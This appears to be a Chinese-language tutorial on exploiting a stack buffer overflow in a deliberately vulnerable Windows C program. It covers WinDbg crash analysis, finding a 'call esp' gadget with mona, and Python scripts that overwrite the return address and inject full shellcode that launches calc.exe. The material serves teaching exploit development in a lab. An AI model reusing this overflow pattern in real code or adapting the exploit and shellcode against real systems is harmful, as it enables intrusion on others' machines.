参考链接
环境准备
visual studio : windows上还是得用这个,mingw不够友好
windbg : windows上绕不过去的调试器,早上手早熟练;
python2 : 建议从官网下载2.7.18
安装版,如果使用pyenv或其他python版本管理工具下载便携版,后面可能会因为缺少注册表项出问题(比如找不到python或者failed to load python module
)
mona 插件
开始实验 漏洞程序 一个存在漏洞的c/c++程序:
1 2 3 4 5 6 7 8 9 #include <cstdio> int main () { char name[32 ]; printf ("Enter your name and press ENTER\n" ); scanf ("%s" , name); printf ("Hi, %s!\n" , name); return 0 ; }
如果运行程序后,输入的字符超过32个,比如32个“a”+4个“b“+4个”c”
1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc
会出现以下情况
为了方便,之后我们只在release
模式下运行即可。
为了更简洁地描述,我们修改程序,让文本内容可从文件name.dat
中被读取,编译后运行结果和上面一致
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 #include <cstdio> int main () { char name[32 ]; printf ("Reading name from file...\n" ); FILE *f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "rb" ); # 注意要使用绝对路径,不然下面使用的windbg找不到该文件 if (!f) return -1 ; fseek(f, 0L , SEEK_END); long bytes = ftell(f); fseek(f, 0L , SEEK_SET); fread(name, 1 , bytes, f); name[bytes] = '\0' ; fclose(f); printf ("Hi, %s!\n" , name); return 0 ; }
name.dat:
1 aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbcccc
使用 windbg 进行调试 使用windbg
加载上面生成的程序Exploitme.exe
,按F5
或输入命令g
,得到以下报错信息
1 2 3 4 5 6 7 8 0:000> g (31e0.4f48): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=00000000 ebx=0067b000 ecx=0fce700e edx=755d0334 esi=00c868e8 edi=00c8c2a8 eip=63636363 esp=008ff888 ebp=62626262 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 63636363 ?? ???
查看栈内存,我们希望cccc指向cccc之后的这块内存(当执行完main函数中的ret后,ESP寄存器的值刚好指向这里),我们会在这里填充shellcode。但由于ASLR(地址空间布局随机化,简称地址随机化),两次的ESP值不同,也就意味着我们无法将 cccc 替换为一个固定的地址。
不过,可以将 cccc 替换为一个指向 jmp ESP 指令的地址(代码段的指令的地址是固定的),程序执行流就会变成
1 ret ——> jmp ESP --> [shellcode]
使用mona 为了寻找 jmp ESP 指令的地址,我们可以使用 mona 插件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 0:000> .load pykd 0:000> !pykd.info pykd bootstrapper version: 2.0.0.24 Installed python: Version: Status: Image: ------------------------------------------------------------------------------ * 2.7 x86-32 Loaded C:\Windows\SYSTEM32\python27.dll # 注意要选用python2,如果默认指向了python3,可使用 !pykd.select -2.7进行切换 0:000> !py mona jmp -r ESP -m ntdll.dll # 尝试了 kernel32.dll 没找到符合要求得指令,在 ntdll.dll 中找到了 ** You are running pykd.pyd v0.3.4.15. Use at your own risk ** Hold on...
运行结果如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 - Search complete, processing results [+] Preparing output file 'jmp.txt' - (Re)setting logfile jmp.txt [+] Writing results to jmp.txt - Number of pointers of type 'call esp' : 1 - Number of pointers of type 'push esp # ret ' : 4 [+] Results : 0x77bece33 | 0x77bece33 (b+0x0010ce33) : call esp | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140 0x77afb318 | 0x77afb318 (b+0x0001b318) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140 0x77afc712 | 0x77afc712 (b+0x0001c712) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140 0x77bbd1f8 | 0x77bbd1f8 (b+0x000dd1f8) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140 0x77bbd250 | 0x77bbd250 (b+0x000dd250) : push esp # ret | {PAGE_EXECUTE_READ} [ntdll.dll] ASLR: True, Rebase: True, SafeSEH: False, CFG: True, OS: True, v10.0.19041.3570 (ntdll.dll), 0x4140 Found a total of 5 pointers [+] This mona.py action took 0:00:00.759000
mona
没有找到 jmp ESP
指令,但找到了功能基本一致的call ESP
和push esp; ret
指令(这两种指令执行后,ESP的值不同,不过对我们影响不大),都能够将执行流引导至shellcode
。
我们使用上面找的call esp
指令,其地址为 0x77bece33
(系统重启前有效,详情见 ASLR in Windows )
编写攻击脚本 编写python脚本 exp1.py
,修改name.dat
中的内容
1 2 3 4 5 6 with open ('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat' , 'wb' ) as f: ret_eip = b'\x33\xce\xbe\x77' shellcode = b'\xcc' name = b'a' *32 + b'b' *4 + ret_eip + shellcode f.write(name)
回到visual studio,release模式下进行调试,main返回后,出现以下弹窗:
说明测试成功。
下面将 “\xcc” 替换为真正的 shellcode
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 with open ('D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat' , 'wb' ) as f: ret_eip = b'\x33\xce\xbe\x77' shellcode = (b"\xe8\xff\xff\xff\xff\xc0\x5f\xb9\x11\x03\x02\x02\x81\xf1\x02\x02" + b"\x02\x02\x83\xc7\x1d\x33\xf6\xfc\x8a\x07\x3c\x02\x0f\x44\xc6\xaa" + b"\xe2\xf6\x55\x8b\xec\x83\xec\x0c\x56\x57\xb9\x7f\xc0\xb4\x7b\xe8" + b"\x55\x02\x02\x02\xb9\xe0\x53\x31\x4b\x8b\xf8\xe8\x49\x02\x02\x02" + b"\x8b\xf0\xc7\x45\xf4\x63\x61\x6c\x63\x6a\x05\x8d\x45\xf4\xc7\x45" + b"\xf8\x2e\x65\x78\x65\x50\xc6\x45\xfc\x02\xff\xd7\x6a\x02\xff\xd6" + b"\x5f\x33\xc0\x5e\x8b\xe5\x5d\xc3\x33\xd2\xeb\x10\xc1\xca\x0d\x3c" + b"\x61\x0f\xbe\xc0\x7c\x03\x83\xe8\x20\x03\xd0\x41\x8a\x01\x84\xc0" + b"\x75\xea\x8b\xc2\xc3\x8d\x41\xf8\xc3\x55\x8b\xec\x83\xec\x14\x53" + b"\x56\x57\x89\x4d\xf4\x64\xa1\x30\x02\x02\x02\x89\x45\xfc\x8b\x45" + b"\xfc\x8b\x40\x0c\x8b\x40\x14\x8b\xf8\x89\x45\xec\x8b\xcf\xe8\xd2" + b"\xff\xff\xff\x8b\x3f\x8b\x70\x18\x85\xf6\x74\x4f\x8b\x46\x3c\x8b" + b"\x5c\x30\x78\x85\xdb\x74\x44\x8b\x4c\x33\x0c\x03\xce\xe8\x96\xff" + b"\xff\xff\x8b\x4c\x33\x20\x89\x45\xf8\x03\xce\x33\xc0\x89\x4d\xf0" + b"\x89\x45\xfc\x39\x44\x33\x18\x76\x22\x8b\x0c\x81\x03\xce\xe8\x75" + b"\xff\xff\xff\x03\x45\xf8\x39\x45\xf4\x74\x1e\x8b\x45\xfc\x8b\x4d" + b"\xf0\x40\x89\x45\xfc\x3b\x44\x33\x18\x72\xde\x3b\x7d\xec\x75\x9c" + b"\x33\xc0\x5f\x5e\x5b\x8b\xe5\x5d\xc3\x8b\x4d\xfc\x8b\x44\x33\x24" + b"\x8d\x04\x48\x0f\xb7\x0c\x30\x8b\x44\x33\x1c\x8d\x04\x88\x8b\x04" + b"\x30\x03\xc6\xeb\xdd" ) name = b'a' *32 + b'b' *4 + ret_eip + shellcode f.write(name)
其中,shellcode
由以下程序得到,转换原理见 Create Shellcode in Windows :
1 2 3 4 5 6 7 8 9 10 11 12 13 #define HASH_ExitThread 0x4b3153e0 #define HASH_WinExec 0x7bb4c07f int entryPoint () { DefineFuncPtr(WinExec); DefineFuncPtr(ExitThread); char calc[] = { 'c' , 'a' , 'l' , 'c' , '.' , 'e' , 'x' , 'e' , '\0' }; My_WinExec(calc, SW_SHOW); My_ExitThread(0 ); return 0 ; }
之后在release模式下运行程序,成功执行shellcode
,弹出了一个计算器:
复现补充(栈空间不足解决方案) 在一次复现的时候,出现以下情况,程序在执行fread
的过程中出错(存在随机性):
这可能是因为栈上的空间不足,fread
在读入数据时将栈底覆盖,导致程序出错。
解决方法为,将漏洞程序修改为:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 #include <cstdio> _declspec(noinline) int old_main () { char name[32 ]; printf ("Reading name from file...\n" ); FILE *f = fopen("D:\\Users\\czx\\NativeFiles\\Desktop\\tmp\\name.dat" , "rb" ); if (!f) return -1 ; fseek(f, 0L , SEEK_END); long bytes = ftell(f); fseek(f, 0L , SEEK_SET); fread(name, 1 , bytes, f); name[bytes] = '\0' ; fclose(f); printf ("Hi, %s!\n" , name); return 0 ; } #pragma optimize( "" , off ) int main () { char moreStack[10000 ]; for (int i = 0 ; i < sizeof (moreStack); ++i) moreStack[i] = i; return old_main(); }
之后,再次运行,便可成功弹出计算器。